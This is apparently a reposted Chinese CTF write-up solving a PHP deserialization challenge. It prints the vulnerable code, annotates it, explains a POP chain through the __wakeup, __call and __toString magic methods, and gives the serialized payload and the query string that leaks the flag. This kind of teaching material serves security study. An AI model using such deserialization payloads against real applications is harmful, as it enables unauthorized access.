7.level7-[本地复现]-[简单的pop链]-[addslashes函数功能]-[toString魔术方法]-[call魔术方法]

本文阅读 11 分钟
首页 代码,C/C#/C++ 正文

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

level7-[本地复现]-[简单的pop链]-[addslashes函数功能]-[toString魔术方法]-[call魔术方法]

pop链的实质是:a类的实例化对象是b类的成员属性值,b类的实例化对象是c类的成员属性值(简而言之:a类的对象是b类的属性值)

1.题目描述

<?php
error_reporting(0);
include 'f1@4.php';
highlight_file(__FILE__);

class Admin
{ 
    public $username;
    public $password;
    function __construct($username, $password)
    { 
        $this->username = $username;
        $this->password = $password;
    }

    function __toString()
    { 
        $this->login($this->username, $this->password);
    }

    function login($username, $password)
    { 
        $username = addslashes($username);
        $password = addslashes($password);
        if ($username === 'admin' && $password === 'admin') { 
            global $flag;
            echo $flag;
        }
    }

    function ban()
    { 
        $times = 10 - (int)$_COOKIE['times'];
        if ($times <= 0) { 
            die("You have been banned");
        } else { 
            $times -= 1;
            setcookie('times', 10 - $times);
            die("You have $times times to try.");
        }
    }
}

class Guest
{ 
    public $username;
    public $password;
    public $role;
    function __construct($username, $password)
    { 
        $this->username = $username;
        $this->password = $password;
        $this->role = 0;
    }

    function __call($method, $args)
    { 
        $this->login($this->username, $this->password);
    }

    function login($username, $password)
    { 

        $username = addslashes($username);
        $password = addslashes($password);
        if ($username === 'guest' && $password === 'guest') { 
            $this->role = 0;
        }
    }
}

class User
{ 
    public $username;
    public $password;
    public $role;
    public $admin;
    function __construct($username, $password)
    { 
        $this->username = $username;
        $this->password = $password;
        $this->role = 0;
        $this->admin = new Admin($username, $password);
    }

    function __wakeup()
    { 

        $this->login($this->username, $this->password);
    }

    function login($username, $password)
    { 
        // var_dump($username);
        if (isset($username) && isset($password)) { 
            if ($username === 'guest' && $password === 'guest') { 
                $this->role = 0;
                $this->admin->ban();
            }
        }
    }
}

if (!isset($_COOKIE['times'])) { 
    setcookie('times', 0);
}
unserialize($_GET['p']);

2.代码审计

讲在前面:

1.addslashes()函数功能:是对字符串参数中的预定义字符进行转义,并且返回转义后的字符串。

通读代码:

<?php
error_reporting(0);            // 关闭所有PHP错误报告
include 'flag.php';            // 文件包含f1@4.php,猜测flag存在于flag.php页面的源码内,可能是注释或者在是变量的值中
highlight_file(__FILE__);    // 高亮显示当前页面源码

class Admin                    // 定义一个以Admin为名的类
{ 
    public $username;        // 定义一个以username为名的公有属性
    public $password;        // 定义一个以password为名的公有属性
    function __construct($username, $password)    // 定义一个以username,password为参数的构造方法
    {                                             // 当前类的实例化对象对创建的时候,自动被调用,一般用来对类的属性进行初始化
        $this->username = $username;            // 属性初始化
        $this->password = $password;            // 属性初始化
    }

    function __toString()                        // 定义一个魔术方法toString
    {                                             // 当前类的实例化对象被当做字符串处理的时候,自动被调用
        $this->login($this->username, $this->password);    // 调用当前类的自定义方法login,其中参数为当前类的两个属性
    }

    function login($username, $password)        // 定义一个以username,password为参数的login方法
    { 
        $username = addslashes($username);        // 定义一个username局部属性,并且对当前类的成员属性进行addslashes函数转义,并且赋值给局部属性
        $password = addslashes($password);        // 同上,addslashes函数是对字符串参数中的预定义字符进行转义,并且返回转义后的字符串
        if ($username === 'admin' && $password === 'admin') {     // 判断username是否全等于admin且password是否全等于admin
            global $flag;                                        // 若相等,则声明flag变量为全局变量,global解决PHP中变量作用域的限制的问题
            echo $flag;                                            // 打印出flag值
        }
    }

    function ban()                                // 定义一个以ban为名的类,就是限制10次呗
    { 
        $times = 10 - (int)$_COOKIE['times'];
        if ($times <= 0) { 
            die("You have been banned");
        } else { 
            $times -= 1;
            setcookie('times', 10 - $times);
            die("You have $times times to try.");
        }
    }
}

class Guest                // 定义一个以Guest为名的类
{ 
    public $username;    // 定义一个以username为名的公有属性
    public $password;    // 定义一个以password为名的公有属性
    public $role;        // 定义一个以role为名的公有属性
    function __construct($username, $password)    // 定以一个以username,password为参数的构造方法
    {                                             // 当前类的实例化对象被创建的时候,自动被调用
        $this->username = $username;            // 属性初始化
        $this->password = $password;            // 属性初始化
        $this->role = 0;                        // 属性初始化
    }

    function __call($method, $args)                // 定义一个以method和args为参数的call魔术方法,__call() 方法用于监视错误的方法调用
    {                                             // 当前类的实例化对象调用一个不可访问的方法时候,自动被调用
        $this->login($this->username, $this->password);    // 调用当前类的自定义方法login,其中参数为当前类的两个属性
    }

    function login($username, $password)        // 自定义一个以当前类的两个属性为参数的login函数
    { 
        $username = addslashes($username);        // 把成员属性经过addslashes转义后,赋值给局部属性(注意:addslashes把成员参数当做字符串处理)
        $password = addslashes($password);        // 把成员属性经过addslashes转义后,赋值给局部属性
        if ($username === 'guest' && $password === 'guest') {     // 判断是否全等
            $this->role = 0;
        }
    }
}

class User
{ 
    public $username;
    public $password;
    public $role;
    public $admin;
    function __construct($username, $password)
    { 
        $this->username = $username;
        $this->password = $password;
        $this->role = 0;
        $this->admin = new Admin($username, $password);
    }

    function __wakeup()        // 定义一个魔术方法,当前类的实例化对象进行反序列化的时候,自动被调用
    { 

        $this->login($this->username, $this->password);    // 调用自定义的login函数,注意这里传入的是成员属性
    }

    function login($username, $password)
    { 
        // var_dump($username); 
        if (isset($username) && isset($password)) {         // 判断是否有值且是否为NULL
            if ($username === 'guest' && $password === 'guest') {     // 判断是否全等
                $this->role = 0;    
                $this->admin->ban();        // 这里是一个错误的方法调用:因为当前类没有ban方法,访问不到ban方法
            }
        }
    }
}

if (!isset($_COOKIE['times'])) {         // 这里无所谓,因为ban方法根本没有被调用到
    setcookie('times', 0);
}
unserialize($_GET['p']);         // 反序列化我们传入的字符串

//admin属性调用ban方法-->guest实例化对象调用ban方法-->

按序,分析所得:

<li class="task-list-item"> flag值得位置:一种可能是f1@4.php页面的注释中,另外一种可能是存储在f1@4.php源码的变量中(那么后台需要对存储flag值得这个变量作用域进行调整了);
<li class="task-list-item"> Admin类中:发现这里对flag变量进行了global声明,变量作用域的限制的问题也就解决了,同时也印证了上面的flag值位置的猜测

  • 要想得到flag–>需要调用login方法(且username/password属性的值要和admin全等)
  • 要想调用login方法–>需要执行__toString()魔术方法
  • 要想执行toString魔术方法–>就要让当前类的实例化对象被当做字符串进行处理(常见的是:echo对象)(但是:这题中不是)

<li class="task-list-item"> Guest类中:发现addsalshes()函数:是对字符串参数中的预定义字符进行转义,并且返回转义后的字符串。很明显这里的addslashes函数的参数是当前类的成员属性,那么我们就可以把该值赋值为Admin类的实例化对象,就满足了以上的自动调用Admin类的toString方法的条件了

  • 要想调用Guest类的login方法–>需要执行__call()魔术方法
  • 要想执行__call()魔术方法–>需要当前类的实例化对象存在错误的方法调用(一般是:让当前类的实例化对象访问一个不存在的方法)

<li class="task-list-item"> User类中:发现当前类的成员属性admin的值,在调用当前类不存在的一个ban()方法(那么如果这个admin的值为Guest类的实例化对象,那么它一旦调用了不存在的ban()方法,就会自动调用Guest类的__call()魔术方法)

  • 要想执行“$this->admin->ban()”–>需要调用login方法(同时两个成员属性的值全等于guest)
  • 要想调用login方法–>需要调用wakeup()魔术方法
  • 要想调用wakeup()魔术方法–>需要当前类的实例化对象被反序列化(一般在:程序结束的时候,自动销毁对象)

按反序列化漏洞四要素,进行分析:

<li class="task-list-item"> 后台存在反序列化函数
<li class="task-list-item"> 后台存在不正当使用魔术方法的行为
<li class="task-list-item"> 后台存在global的错误使用
<li class="task-list-item"> 用户对传入的反序列化内容可控

3.解题过程

第一步:分析流程

<li class="task-list-item"> 传入一个User类的实例化对象的序列化字符串–>在反序列化的时候自动调用了User类的wakeup()魔术方法–>接着调用了User类的自定义login方法–>若此时username和password属性的值全等于guest且admin属性的值为Guest类的实例化对象,那么就会自动调用Guest类的call魔术方法–>紧接着就会调用Guest类的自定义login方法–>若此时username的值或password的值为Admin类的实例对象,那么就会自动调用Admin类的toString魔术方法–>接着就会调用Admin类的自定义login方法–>若此时username的值和password值全等于admin,则对f1@4.php的$flag变量进行global声明,从而解决了包含页面中的变量的作用域限制的问题–>最后即可echo出flag值

第二步:根据以上步骤,构造payload

<?php
class Admin
{ 
    public $username="admin";
    public $password="admin";
}

class Guest
{ 
    public $username;
    public $password;
    public $role;
}

class User
{ 
    public $username="guest";
    public $password="guest";
    public $role;
    public $admin;
}

$chen1 = new Admin();
$chen2 = new Guest();
$chen2->password=$chen1;
$chen3 = new User();
$chen3->admin=$chen2;
echo serialize($chen3);
//O:4:"User":4:{s:8:"username";s:5:"guest";s:8:"password";s:5:"guest";s:4:"role";N;s:5:"admin";O:5:"Guest":3:{s:8:"username";N;s:8:"password";O:5:"Admin":2:{s:8:"username";s:5:"admin";s:8:"password";s:5:"admin";}s:4:"role";N;}}

img

因此,payload:

?p=O:4:"User":4:{ s:8:"username";s:5:"guest";s:8:"password";s:5:"guest";s:4:"role";N;s:5:"admin";O:5:"Guest":3:{ s:8:"username";N;s:8:"password";O:5:"Admin":2:{ s:8:"username";s:5:"admin";s:8:"password";s:5:"admin";}s:4:"role";N;}}

第三步:传入payload,读取flag值

img

4.总结

<li class="task-list-item"> pop链的实质是:a类的实例化对象是b类的成员属性值,b类的实例化对象是c类的成员属性值。((简而言之:a类的对象是b类的属性值))
<li class="task-list-item"> addslashes()函数功能:通俗的说,就是对字符串参数中的预定义字符进行转义,并且返回转义后的字符串。
<li class="task-list-item"> addslashes()函数的定义和用法:

img

<li class="task-list-item"> global解决PHP页面中变量作用域的限制的问题。
<li class="task-list-item"> __constuct()构造方法:当前类的实例化对象被创建的时候,自动被调用(一般用作成员属性初始化)
<li class="task-list-item"> __destruct()魔术方法:当前类的实例化对象被销毁的时候,自动被调用(一般是php页面执行完毕,自动销毁对象)
<li class="task-list-item"> __wakeup()魔术方法:当前类的实例化对象被反序列化的时候,自动被调用(因此这个类的实例化对象要提前进行序列化)
<li class="task-list-item"> __sleep()魔术方法:当前类的实例化对象被序列化的时候,自动被调用
<li class="task-list-item"> __toString()魔术方法:当前类的实例化对象被当做字符串处理的时候,自动被调用(一般在echo的时候,自动被调用)(addslashes函数也可以)
<li class="task-list-item"> __call()魔术方法:当前类的实例化对象存在错误的方法调用的时候,自动被调用(一般在访问一个不存在的方法的时候,自动被调用)
<li class="task-list-item"> PHP反序列化四要素:

  • 后台存在反序列化函数
  • 后台存在不正当使用魔术方法的行为
  • 后台存在一定的漏洞(代码执行、文件包含、global声明等等)
  • 用户对传入的待反序列化的内容可控

<li class="task-list-item"> 实际步骤:通读代码–>按序,分析所得–>按反序列化漏洞四要素,分析所得–>分析解题过程–>根据以上构造payload–>提交payload,获得flag值
<li class="task-list-item"> 46开:4要素、6步骤

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/122264163
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复